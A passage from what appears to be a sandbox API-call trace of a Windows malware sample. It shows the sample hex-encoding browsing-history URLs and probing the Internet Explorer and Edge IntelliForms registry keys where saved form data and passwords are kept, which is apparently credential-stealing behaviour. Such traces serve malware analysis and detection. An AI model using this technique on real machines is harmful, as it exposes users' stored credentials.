LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x75c628 [0053.503] lstrcpyA (in: lpString1=0x75c628, lpString2="C7" | out: lpString1="C7") returned="C7" [0053.503] lstrcatA (in: lpString1="C7", lpString2="0D" | out: lpString1="C70D") returned="C70D" [0053.503] LocalFree (hMem=0x75c598) returned 0x0 [0053.503] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="84") returned 2 [0053.503] lstrlenA (lpString="C70D") returned 4 [0053.504] lstrlenA (lpString="84") returned 2 [0053.504] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x75c598 [0053.504] lstrcpyA (in: lpString1=0x75c598, lpString2="C70D" | out: lpString1="C70D") returned="C70D" [0053.504] lstrcatA (in: lpString1="C70D", lpString2="84" | out: lpString1="C70D84") returned="C70D84" [0053.504] LocalFree (hMem=0x75c628) returned 0x0 [0053.504] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="22") returned 2 [0053.504] lstrlenA (lpString="C70D84") returned 6 [0053.504] lstrlenA (lpString="22") returned 2 [0053.504] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x75c628 [0053.504] lstrcpyA (in: lpString1=0x75c628, lpString2="C70D84" | out: lpString1="C70D84") returned="C70D84" [0053.504] lstrcatA (in: lpString1="C70D84", lpString2="22" | out: lpString1="C70D8422") returned="C70D8422" [0053.504] LocalFree (hMem=0x75c598) returned 0x0 [0053.504] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D2") returned 2 [0053.504] lstrlenA (lpString="C70D8422") returned 8 [0053.504] lstrlenA (lpString="D2") returned 2 [0053.504] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x75c6c0 [0053.504] lstrcpyA (in: lpString1=0x75c6c0, lpString2="C70D8422" | out: lpString1="C70D8422") returned="C70D8422" [0053.504] lstrcatA (in: lpString1="C70D8422", lpString2="D2" | out: lpString1="C70D8422D2") returned="C70D8422D2" [0053.504] LocalFree (hMem=0x75c628) returned 0x0 [0053.504] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="1C") returned 2 [0053.504] lstrlenA (lpString="C70D8422D2") returned 10 [0053.504] lstrlenA (lpString="1C") returned 2 [0053.504] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x75c598 [0053.504] lstrcpyA (in: lpString1=0x75c598, lpString2="C70D8422D2" | out: lpString1="C70D8422D2") returned="C70D8422D2" [0053.504] lstrcatA (in: lpString1="C70D8422D2", lpString2="1C" | out: lpString1="C70D8422D21C") returned="C70D8422D21C" [0053.504] LocalFree (hMem=0x75c6c0) returned 0x0 [0053.504] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E3") returned 2 [0053.504] lstrlenA (lpString="C70D8422D21C") returned 12 [0053.504] lstrlenA (lpString="E3") returned 2 [0053.504] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x75c630 [0053.504] lstrcpyA (in: lpString1=0x75c630, lpString2="C70D8422D21C" | out: lpString1="C70D8422D21C") returned="C70D8422D21C" [0053.504] lstrcatA (in: lpString1="C70D8422D21C", lpString2="E3" | out: lpString1="C70D8422D21CE3") returned="C70D8422D21CE3" [0053.504] LocalFree (hMem=0x75c598) returned 0x0 [0053.504] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EF") returned 2 [0053.504] lstrlenA (lpString="C70D8422D21CE3") returned 14 [0053.504] lstrlenA (lpString="EF") returned 2 [0053.504] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x75c6c8 [0053.504] lstrcpyA (in: lpString1=0x75c6c8, lpString2="C70D8422D21CE3" | out: lpString1="C70D8422D21CE3") returned="C70D8422D21CE3" [0053.504] lstrcatA (in: lpString1="C70D8422D21CE3", lpString2="EF" | out: lpString1="C70D8422D21CE3EF") returned="C70D8422D21CE3EF" [0053.504] LocalFree (hMem=0x75c630) returned 0x0 [0053.504] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="88") returned 2 [0053.504] lstrlenA (lpString="C70D8422D21CE3EF") returned 16 [0053.504] lstrlenA (lpString="88") returned 2 [0053.504] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x75c598 [0053.504] lstrcpyA (in: lpString1=0x75c598, lpString2="C70D8422D21CE3EF" | out: lpString1="C70D8422D21CE3EF") returned="C70D8422D21CE3EF" [0053.504] lstrcatA (in: lpString1="C70D8422D21CE3EF", lpString2="88" | out: lpString1="C70D8422D21CE3EF88") returned="C70D8422D21CE3EF88" [0053.504] LocalFree (hMem=0x75c6c8) returned 0x0 [0053.504] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="63") returned 2 [0053.504] lstrlenA (lpString="C70D8422D21CE3EF88") returned 18 [0053.504] lstrlenA (lpString="63") returned 2 [0053.504] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x75c638 [0053.504] lstrcpyA (in: lpString1=0x75c638, lpString2="C70D8422D21CE3EF88" | out: lpString1="C70D8422D21CE3EF88") returned="C70D8422D21CE3EF88" [0053.504] lstrcatA (in: lpString1="C70D8422D21CE3EF88", lpString2="63" | out: lpString1="C70D8422D21CE3EF8863") returned="C70D8422D21CE3EF8863" [0053.504] LocalFree (hMem=0x75c598) returned 0x0 [0053.504] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="AE") returned 2 [0053.504] lstrlenA (lpString="C70D8422D21CE3EF8863") returned 20 [0053.504] lstrlenA (lpString="AE") returned 2 [0053.505] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x75c598 [0053.505] lstrcpyA (in: lpString1=0x75c598, lpString2="C70D8422D21CE3EF8863" | out: lpString1="C70D8422D21CE3EF8863") returned="C70D8422D21CE3EF8863" [0053.505] lstrcatA (in: lpString1="C70D8422D21CE3EF8863", lpString2="AE" | out: lpString1="C70D8422D21CE3EF8863AE") returned="C70D8422D21CE3EF8863AE" [0053.505] LocalFree (hMem=0x75c638) returned 0x0 [0053.505] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="24") returned 2 [0053.505] lstrlenA (lpString="C70D8422D21CE3EF8863AE") returned 22 [0053.505] lstrlenA (lpString="24") returned 2 [0053.505] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758a18 [0053.505] lstrcpyA (in: lpString1=0x758a18, lpString2="C70D8422D21CE3EF8863AE" | out: lpString1="C70D8422D21CE3EF8863AE") returned="C70D8422D21CE3EF8863AE" [0053.505] lstrcatA (in: lpString1="C70D8422D21CE3EF8863AE", lpString2="24" | out: lpString1="C70D8422D21CE3EF8863AE24") returned="C70D8422D21CE3EF8863AE24" [0053.505] LocalFree (hMem=0x75c598) returned 0x0 [0053.505] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="75") returned 2 [0053.505] lstrlenA (lpString="C70D8422D21CE3EF8863AE24") returned 24 [0053.505] lstrlenA (lpString="75") returned 2 [0053.505] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758820 [0053.505] lstrcpyA (in: lpString1=0x758820, lpString2="C70D8422D21CE3EF8863AE24" | out: lpString1="C70D8422D21CE3EF8863AE24") returned="C70D8422D21CE3EF8863AE24" [0053.505] lstrcatA (in: lpString1="C70D8422D21CE3EF8863AE24", lpString2="75" | out: lpString1="C70D8422D21CE3EF8863AE2475") returned="C70D8422D21CE3EF8863AE2475" [0053.505] LocalFree (hMem=0x758a18) returned 0x0 [0053.505] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3E") returned 2 [0053.505] lstrlenA (lpString="C70D8422D21CE3EF8863AE2475") returned 26 [0053.505] lstrlenA (lpString="3E") returned 2 [0053.505] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758a18 [0053.505] lstrcpyA (in: lpString1=0x758a18, lpString2="C70D8422D21CE3EF8863AE2475" | out: lpString1="C70D8422D21CE3EF8863AE2475") returned="C70D8422D21CE3EF8863AE2475" [0053.505] lstrcatA (in: lpString1="C70D8422D21CE3EF8863AE2475", lpString2="3E" | out: lpString1="C70D8422D21CE3EF8863AE24753E") returned="C70D8422D21CE3EF8863AE24753E" [0053.505] LocalFree (hMem=0x758820) returned 0x0 [0053.505] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="63") returned 2 [0053.505] lstrlenA (lpString="C70D8422D21CE3EF8863AE24753E") returned 28 [0053.505] lstrlenA (lpString="63") returned 2 [0053.505] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758820 [0053.505] lstrcpyA (in: lpString1=0x758820, lpString2="C70D8422D21CE3EF8863AE24753E" | out: lpString1="C70D8422D21CE3EF8863AE24753E") returned="C70D8422D21CE3EF8863AE24753E" [0053.505] lstrcatA (in: lpString1="C70D8422D21CE3EF8863AE24753E", lpString2="63" | out: lpString1="C70D8422D21CE3EF8863AE24753E63") returned="C70D8422D21CE3EF8863AE24753E63" [0053.505] LocalFree (hMem=0x758a18) returned 0x0 [0053.505] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D1") returned 2 [0053.505] lstrlenA (lpString="C70D8422D21CE3EF8863AE24753E63") returned 30 [0053.505] lstrlenA (lpString="D1") returned 2 [0053.505] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x7548d0 [0053.505] lstrcpyA (in: lpString1=0x7548d0, lpString2="C70D8422D21CE3EF8863AE24753E63" | out: lpString1="C70D8422D21CE3EF8863AE24753E63") returned="C70D8422D21CE3EF8863AE24753E63" [0053.505] lstrcatA (in: lpString1="C70D8422D21CE3EF8863AE24753E63", lpString2="D1" | out: lpString1="C70D8422D21CE3EF8863AE24753E63D1") returned="C70D8422D21CE3EF8863AE24753E63D1" [0053.505] LocalFree (hMem=0x758820) returned 0x0 [0053.505] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="DC") returned 2 [0053.505] lstrlenA (lpString="C70D8422D21CE3EF8863AE24753E63D1") returned 32 [0053.505] lstrlenA (lpString="DC") returned 2 [0053.505] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754820 [0053.505] lstrcpyA (in: lpString1=0x754820, lpString2="C70D8422D21CE3EF8863AE24753E63D1" | out: lpString1="C70D8422D21CE3EF8863AE24753E63D1") returned="C70D8422D21CE3EF8863AE24753E63D1" [0053.505] lstrcatA (in: lpString1="C70D8422D21CE3EF8863AE24753E63D1", lpString2="DC" | out: lpString1="C70D8422D21CE3EF8863AE24753E63D1DC") returned="C70D8422D21CE3EF8863AE24753E63D1DC" [0053.505] LocalFree (hMem=0x7548d0) returned 0x0 [0053.505] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="5A") returned 2 [0053.505] lstrlenA (lpString="C70D8422D21CE3EF8863AE24753E63D1DC") returned 34 [0053.505] lstrlenA (lpString="5A") returned 2 [0053.505] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x7548d0 [0053.505] lstrcpyA (in: lpString1=0x7548d0, lpString2="C70D8422D21CE3EF8863AE24753E63D1DC" | out: lpString1="C70D8422D21CE3EF8863AE24753E63D1DC") returned="C70D8422D21CE3EF8863AE24753E63D1DC" [0053.505] lstrcatA (in: lpString1="C70D8422D21CE3EF8863AE24753E63D1DC", lpString2="5A" | out: lpString1="C70D8422D21CE3EF8863AE24753E63D1DC5A") returned="C70D8422D21CE3EF8863AE24753E63D1DC5A" [0053.505] LocalFree (hMem=0x754820) returned 0x0 [0053.505] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C1") returned 2 [0053.505] lstrlenA (lpString="C70D8422D21CE3EF8863AE24753E63D1DC5A") returned 36 [0053.505] lstrlenA (lpString="C1") returned 2 [0053.505] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754820 [0053.505] lstrcpyA (in: lpString1=0x754820, lpString2="C70D8422D21CE3EF8863AE24753E63D1DC5A" | out: lpString1="C70D8422D21CE3EF8863AE24753E63D1DC5A") returned="C70D8422D21CE3EF8863AE24753E63D1DC5A" [0053.506] lstrcatA (in: lpString1="C70D8422D21CE3EF8863AE24753E63D1DC5A", lpString2="C1" | out: lpString1="C70D8422D21CE3EF8863AE24753E63D1DC5AC1") returned="C70D8422D21CE3EF8863AE24753E63D1DC5AC1" [0053.506] LocalFree (hMem=0x7548d0) returned 0x0 [0053.506] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="42") returned 2 [0053.506] lstrlenA (lpString="C70D8422D21CE3EF8863AE24753E63D1DC5AC1") returned 38 [0053.506] lstrlenA (lpString="42") returned 2 [0053.506] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750a48 [0053.506] lstrcpyA (in: lpString1=0x750a48, lpString2="C70D8422D21CE3EF8863AE24753E63D1DC5AC1" | out: lpString1="C70D8422D21CE3EF8863AE24753E63D1DC5AC1") returned="C70D8422D21CE3EF8863AE24753E63D1DC5AC1" [0053.506] lstrcatA (in: lpString1="C70D8422D21CE3EF8863AE24753E63D1DC5AC1", lpString2="42" | out: lpString1="C70D8422D21CE3EF8863AE24753E63D1DC5AC142") returned="C70D8422D21CE3EF8863AE24753E63D1DC5AC142" [0053.506] LocalFree (hMem=0x754820) returned 0x0 [0053.506] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="17") returned 2 [0053.506] lstrlenA (lpString="C70D8422D21CE3EF8863AE24753E63D1DC5AC142") returned 40 [0053.506] lstrlenA (lpString="17") returned 2 [0053.506] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750bb8 [0053.506] lstrcpyA (in: lpString1=0x750bb8, lpString2="C70D8422D21CE3EF8863AE24753E63D1DC5AC142" | out: lpString1="C70D8422D21CE3EF8863AE24753E63D1DC5AC142") returned="C70D8422D21CE3EF8863AE24753E63D1DC5AC142" [0053.506] lstrcatA (in: lpString1="C70D8422D21CE3EF8863AE24753E63D1DC5AC142", lpString2="17" | out: lpString1="C70D8422D21CE3EF8863AE24753E63D1DC5AC14217") returned="C70D8422D21CE3EF8863AE24753E63D1DC5AC14217" [0053.506] LocalFree (hMem=0x750a48) returned 0x0 [0053.506] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.506] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.506] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.506] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.506] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.506] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.506] LocalFree (hMem=0x750bb8) returned 0x0 [0053.506] CoTaskMemFree (pv=0x748010) [0053.506] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.507] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/2siSwt/mqEf.swf", lpSrch="?") returned 0x0 [0053.507] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/2siSwt/mqEf.swf") returned 88 [0053.507] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="24") returned 2 [0053.507] lstrlenA (lpString="") returned 0 [0053.507] lstrlenA (lpString="24") returned 2 [0053.507] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x75c598 [0053.507] lstrcpyA (in: lpString1=0x75c598, lpString2="" | out: lpString1="") returned="" [0053.507] lstrcatA (in: lpString1="", lpString2="24" | out: lpString1="24") returned="24" [0053.507] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8E") returned 2 [0053.507] lstrlenA (lpString="24") returned 2 [0053.507] lstrlenA (lpString="8E") returned 2 [0053.507] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x75c628 [0053.507] lstrcpyA (in: lpString1=0x75c628, lpString2="24" | out: lpString1="24") returned="24" [0053.507] lstrcatA (in: lpString1="24", lpString2="8E" | out: lpString1="248E") returned="248E" [0053.507] LocalFree (hMem=0x75c598) returned 0x0 [0053.507] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A1") returned 2 [0053.507] lstrlenA (lpString="248E") returned 4 [0053.507] lstrlenA (lpString="A1") returned 2 [0053.507] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x75c598 [0053.507] lstrcpyA (in: lpString1=0x75c598, lpString2="248E" | out: lpString1="248E") returned="248E" [0053.507] lstrcatA (in: lpString1="248E", lpString2="A1" | out: lpString1="248EA1") returned="248EA1" [0053.507] LocalFree (hMem=0x75c628) returned 0x0 [0053.507] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7E") returned 2 [0053.507] lstrlenA (lpString="248EA1") returned 6 [0053.507] lstrlenA (lpString="7E") returned 2 [0053.507] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x75c628 [0053.507] lstrcpyA (in: lpString1=0x75c628, lpString2="248EA1" | out: lpString1="248EA1") returned="248EA1" [0053.507] lstrcatA (in: lpString1="248EA1", lpString2="7E" | out: lpString1="248EA17E") returned="248EA17E" [0053.507] LocalFree (hMem=0x75c598) returned 0x0 [0053.507] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="34") returned 2 [0053.507] lstrlenA (lpString="248EA17E") returned 8 [0053.507] lstrlenA (lpString="34") returned 2 [0053.507] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x75c6c0 [0053.507] lstrcpyA (in: lpString1=0x75c6c0, lpString2="248EA17E" | out: lpString1="248EA17E") returned="248EA17E" [0053.507] lstrcatA (in: lpString1="248EA17E", lpString2="34" | out: lpString1="248EA17E34") returned="248EA17E34" [0053.507] LocalFree (hMem=0x75c628) returned 0x0 [0053.507] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E2") returned 2 [0053.507] lstrlenA (lpString="248EA17E34") returned 10 [0053.507] lstrlenA (lpString="E2") returned 2 [0053.507] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x75c598 [0053.507] lstrcpyA (in: lpString1=0x75c598, lpString2="248EA17E34" | out: lpString1="248EA17E34") returned="248EA17E34" [0053.507] lstrcatA (in: lpString1="248EA17E34", lpString2="E2" | out: lpString1="248EA17E34E2") returned="248EA17E34E2" [0053.508] LocalFree (hMem=0x75c6c0) returned 0x0 [0053.508] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="81") returned 2 [0053.508] lstrlenA (lpString="248EA17E34E2") returned 12 [0053.508] lstrlenA (lpString="81") returned 2 [0053.508] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x75c630 [0053.508] lstrcpyA (in: lpString1=0x75c630, lpString2="248EA17E34E2" | out: lpString1="248EA17E34E2") returned="248EA17E34E2" [0053.508] lstrcatA (in: lpString1="248EA17E34E2", lpString2="81" | out: lpString1="248EA17E34E281") returned="248EA17E34E281" [0053.508] LocalFree (hMem=0x75c598) returned 0x0 [0053.508] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="69") returned 2 [0053.508] lstrlenA (lpString="248EA17E34E281") returned 14 [0053.508] lstrlenA (lpString="69") returned 2 [0053.508] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x75c6c8 [0053.508] lstrcpyA (in: lpString1=0x75c6c8, lpString2="248EA17E34E281" | out: lpString1="248EA17E34E281") returned="248EA17E34E281" [0053.508] lstrcatA (in: lpString1="248EA17E34E281", lpString2="69" | out: lpString1="248EA17E34E28169") returned="248EA17E34E28169" [0053.508] LocalFree (hMem=0x75c630) returned 0x0 [0053.508] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FE") returned 2 [0053.508] lstrlenA (lpString="248EA17E34E28169") returned 16 [0053.508] lstrlenA (lpString="FE") returned 2 [0053.508] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x75c598 [0053.508] lstrcpyA (in: lpString1=0x75c598, lpString2="248EA17E34E28169" | out: lpString1="248EA17E34E28169") returned="248EA17E34E28169" [0053.508] lstrcatA (in: lpString1="248EA17E34E28169", lpString2="FE" | out: lpString1="248EA17E34E28169FE") returned="248EA17E34E28169FE" [0053.508] LocalFree (hMem=0x75c6c8) returned 0x0 [0053.508] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="4C") returned 2 [0053.508] lstrlenA (lpString="248EA17E34E28169FE") returned 18 [0053.508] lstrlenA (lpString="4C") returned 2 [0053.508] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x75c638 [0053.508] lstrcpyA (in: lpString1=0x75c638, lpString2="248EA17E34E28169FE" | out: lpString1="248EA17E34E28169FE") returned="248EA17E34E28169FE" [0053.508] lstrcatA (in: lpString1="248EA17E34E28169FE", lpString2="4C" | out: lpString1="248EA17E34E28169FE4C") returned="248EA17E34E28169FE4C" [0053.508] LocalFree (hMem=0x75c598) returned 0x0 [0053.508] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="97") returned 2 [0053.508] lstrlenA (lpString="248EA17E34E28169FE4C") returned 20 [0053.508] lstrlenA (lpString="97") returned 2 [0053.508] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x75c598 [0053.508] lstrcpyA (in: lpString1=0x75c598, lpString2="248EA17E34E28169FE4C" | out: lpString1="248EA17E34E28169FE4C") returned="248EA17E34E28169FE4C" [0053.508] lstrcatA (in: lpString1="248EA17E34E28169FE4C", lpString2="97" | out: lpString1="248EA17E34E28169FE4C97") returned="248EA17E34E28169FE4C97" [0053.508] LocalFree (hMem=0x75c638) returned 0x0 [0053.508] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="11") returned 2 [0053.508] lstrlenA (lpString="248EA17E34E28169FE4C97") returned 22 [0053.508] lstrlenA (lpString="11") returned 2 [0053.508] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0053.508] lstrcpyA (in: lpString1=0x758820, lpString2="248EA17E34E28169FE4C97" | out: lpString1="248EA17E34E28169FE4C97") returned="248EA17E34E28169FE4C97" [0053.508] lstrcatA (in: lpString1="248EA17E34E28169FE4C97", lpString2="11" | out: lpString1="248EA17E34E28169FE4C9711") returned="248EA17E34E28169FE4C9711" [0053.508] LocalFree (hMem=0x75c598) returned 0x0 [0053.508] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D8") returned 2 [0053.508] lstrlenA (lpString="248EA17E34E28169FE4C9711") returned 24 [0053.508] lstrlenA (lpString="D8") returned 2 [0053.508] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758a18 [0053.508] lstrcpyA (in: lpString1=0x758a18, lpString2="248EA17E34E28169FE4C9711" | out: lpString1="248EA17E34E28169FE4C9711") returned="248EA17E34E28169FE4C9711" [0053.508] lstrcatA (in: lpString1="248EA17E34E28169FE4C9711", lpString2="D8" | out: lpString1="248EA17E34E28169FE4C9711D8") returned="248EA17E34E28169FE4C9711D8" [0053.508] LocalFree (hMem=0x758820) returned 0x0 [0053.508] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D4") returned 2 [0053.508] lstrlenA (lpString="248EA17E34E28169FE4C9711D8") returned 26 [0053.508] lstrlenA (lpString="D4") returned 2 [0053.508] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758820 [0053.508] lstrcpyA (in: lpString1=0x758820, lpString2="248EA17E34E28169FE4C9711D8" | out: lpString1="248EA17E34E28169FE4C9711D8") returned="248EA17E34E28169FE4C9711D8" [0053.509] lstrcatA (in: lpString1="248EA17E34E28169FE4C9711D8", lpString2="D4" | out: lpString1="248EA17E34E28169FE4C9711D8D4") returned="248EA17E34E28169FE4C9711D8D4" [0053.509] LocalFree (hMem=0x758a18) returned 0x0 [0053.509] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A6") returned 2 [0053.509] lstrlenA (lpString="248EA17E34E28169FE4C9711D8D4") returned 28 [0053.509] lstrlenA (lpString="A6") returned 2 [0053.509] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758a18 [0053.509] lstrcpyA (in: lpString1=0x758a18, lpString2="248EA17E34E28169FE4C9711D8D4" | out: lpString1="248EA17E34E28169FE4C9711D8D4") returned="248EA17E34E28169FE4C9711D8D4" [0053.509] lstrcatA (in: lpString1="248EA17E34E28169FE4C9711D8D4", lpString2="A6" | out: lpString1="248EA17E34E28169FE4C9711D8D4A6") returned="248EA17E34E28169FE4C9711D8D4A6" [0053.509] LocalFree (hMem=0x758820) returned 0x0 [0053.509] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="05") returned 2 [0053.509] lstrlenA (lpString="248EA17E34E28169FE4C9711D8D4A6") returned 30 [0053.509] lstrlenA (lpString="05") returned 2 [0053.509] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754820 [0053.509] lstrcpyA (in: lpString1=0x754820, lpString2="248EA17E34E28169FE4C9711D8D4A6" | out: lpString1="248EA17E34E28169FE4C9711D8D4A6") returned="248EA17E34E28169FE4C9711D8D4A6" [0053.509] lstrcatA (in: lpString1="248EA17E34E28169FE4C9711D8D4A6", lpString2="05" | out: lpString1="248EA17E34E28169FE4C9711D8D4A605") returned="248EA17E34E28169FE4C9711D8D4A605" [0053.509] LocalFree (hMem=0x758a18) returned 0x0 [0053.509] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="BF") returned 2 [0053.509] lstrlenA (lpString="248EA17E34E28169FE4C9711D8D4A605") returned 32 [0053.509] lstrlenA (lpString="BF") returned 2 [0053.509] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754a30 [0053.509] lstrcpyA (in: lpString1=0x754a30, lpString2="248EA17E34E28169FE4C9711D8D4A605" | out: lpString1="248EA17E34E28169FE4C9711D8D4A605") returned="248EA17E34E28169FE4C9711D8D4A605" [0053.509] lstrcatA (in: lpString1="248EA17E34E28169FE4C9711D8D4A605", lpString2="BF" | out: lpString1="248EA17E34E28169FE4C9711D8D4A605BF") returned="248EA17E34E28169FE4C9711D8D4A605BF" [0053.509] LocalFree (hMem=0x754820) returned 0x0 [0053.509] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C6") returned 2 [0053.509] lstrlenA (lpString="248EA17E34E28169FE4C9711D8D4A605BF") returned 34 [0053.509] lstrlenA (lpString="C6") returned 2 [0053.509] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754820 [0053.509] lstrcpyA (in: lpString1=0x754820, lpString2="248EA17E34E28169FE4C9711D8D4A605BF" | out: lpString1="248EA17E34E28169FE4C9711D8D4A605BF") returned="248EA17E34E28169FE4C9711D8D4A605BF" [0053.509] lstrcatA (in: lpString1="248EA17E34E28169FE4C9711D8D4A605BF", lpString2="C6" | out: lpString1="248EA17E34E28169FE4C9711D8D4A605BFC6") returned="248EA17E34E28169FE4C9711D8D4A605BFC6" [0053.509] LocalFree (hMem=0x754a30) returned 0x0 [0053.509] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="39") returned 2 [0053.509] lstrlenA (lpString="248EA17E34E28169FE4C9711D8D4A605BFC6") returned 36 [0053.509] lstrlenA (lpString="39") returned 2 [0053.509] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754a30 [0053.509] lstrcpyA (in: lpString1=0x754a30, lpString2="248EA17E34E28169FE4C9711D8D4A605BFC6" | out: lpString1="248EA17E34E28169FE4C9711D8D4A605BFC6") returned="248EA17E34E28169FE4C9711D8D4A605BFC6" [0053.509] lstrcatA (in: lpString1="248EA17E34E28169FE4C9711D8D4A605BFC6", lpString2="39" | out: lpString1="248EA17E34E28169FE4C9711D8D4A605BFC639") returned="248EA17E34E28169FE4C9711D8D4A605BFC639" [0053.509] LocalFree (hMem=0x754820) returned 0x0 [0053.509] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="93") returned 2 [0053.509] lstrlenA (lpString="248EA17E34E28169FE4C9711D8D4A605BFC639") returned 38 [0053.509] lstrlenA (lpString="93") returned 2 [0053.509] LocalAlloc 